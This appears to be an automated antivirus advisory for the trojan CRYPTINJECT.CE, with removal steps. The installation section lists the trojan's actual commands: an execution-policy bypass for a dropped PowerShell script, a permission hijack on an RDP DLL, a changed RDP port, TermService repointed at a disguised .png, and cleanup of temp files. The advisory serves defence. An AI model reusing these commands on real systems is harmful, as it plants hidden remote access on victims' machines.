Trojan.Win32.CRYPTINJECT.CE
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
3,803,600 bytes
EXE
Yes
14 May 2020
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- "%System%\cmd.exe" /c timeout -t 15& powershell -ep bypass -f %User Temp%\11.ps1
- timeout -t 15
- powershell -ep bypass -f %User Temp%\11.ps1
- "%System%\takeown.exe" /A /F rfxvmt.dll
- "%System%\icacls.exe" rfxvmt.dll /inheritance:d
- "%System%\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- "%System%\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- "%System%\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- "%System%\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- "%System%\icacls.exe" rfxvmt.dll /remove BUILTIN\{username}s
- "%System%\icacls.exe" rfxvmt.dll /grant BUILTIN\{username}s:RX
- "%System%\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- "%System%\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %Windows%\branding\mailserach.png /f
- "%System%\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- "%System%\net.exe" localgroup {username}s "NT AUTHORITY\NETWORK SERVICE" /add
- "%System%\cmd.exe" /c cmd /c net start rdpdr
- "%System%\cmd.exe" /c cmd /c net start TermService
- "%System%\cmd.exe" /c del %temp%\*.ps1 /f
- "%System%\cmd.exe" /c del %temp%\*.txt /f
- %System%\net1 localgroup {username}s "NT AUTHORITY\NETWORK SERVICE" /add
- %System%\net1 start rdpdr
- %System%\svchost.exe -k NetworkService
- %System%\net1 start TermService
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Other System Modifications
This Trojan deletes the following files:
- {malware file path and name}
- %User Temp%\dd_vcredistUI0FD5.txt
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\FXSAPIDebugLogFile.txt
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It deletes the following folders:
- %User Temp%\nsdB692.tmp
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following registry entries:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows NT\Terminal Services
fEnableWddmDriver = "0"
It modifies the following registry entries:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Terminal Server\WinStations\
RDP-Tcp
PortNumber = "7201"
(Note: The default value data of the said registry entry is d3d.)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\TermService\Parameters
ServiceDLL = "%Windows%\branding\mailserach.png"
(Note: The default value data of the said registry entry is {random values}.)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\TermService
Type = "16"
(Note: The default value data of the said registry entry is 20.)
Dropping Routine
This Trojan drops the following files:
- %Windows%\Branding\mailserach.png
- %User Temp%\apachesrvin.log
- %Windows%\Branding\ShellBrd
- %Windows%\Branding\creativecommons.png
- %Windows%\Temp\usrnm.txt
- %Windows%\Branding\zoom.jpg
- %User Temp%\11.ps1
- %User Temp%\evil.ps1
- %Windows%\Branding\Basebrd
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
This report is generated via an automated analysis system.
SOLUTION
9.850
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as Trojan.Win32.CRYPTINJECT.CE
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services
- fEnableWddmDriver = "0"
Step 4
Restore these modified registry values
Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp
- From: PortNumber = "7201"
To: PortNumber = ""d3d""
- From: PortNumber = "7201"
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\TermService\Parameters
- From: ServiceDLL = "%Windows%\branding\mailserach.png"
To: ServiceDLL = ""{random values}""
- From: ServiceDLL = "%Windows%\branding\mailserach.png"
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\TermService
- From: Type = "16"
To: Type = ""20""
- From: Type = "16"
Step 5
Search and delete these components
- %Windows%\Branding\mailserach.png
- %User Temp%\apachesrvin.log
- %Windows%\Branding\ShellBrd
- %Windows%\Branding\creativecommons.png
- %Windows%\Temp\usrnm.txt
- %Windows%\Branding\zoom.jpg
- %User Temp%\11.ps1
- %User Temp%\evil.ps1
- %Windows%\Branding\Basebrd
Step 6
Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.CRYPTINJECT.CE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Step 7
Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.
- {malware file path and name}
- %User Temp%\dd_vcredistUI0FD5.txt
- %User Temp%\dd_vcredistMSI0FD5.txt
- %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
- %User Temp%\dd_SetupUtility.txt
- %User Temp%\dd_vcredistMSI0FC1.txt
- %User Temp%\dd_vcredistUI0FC1.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
- %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
- %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
- %User Temp%\FXSAPIDebugLogFile.txt
Did this description help? Tell us how we did.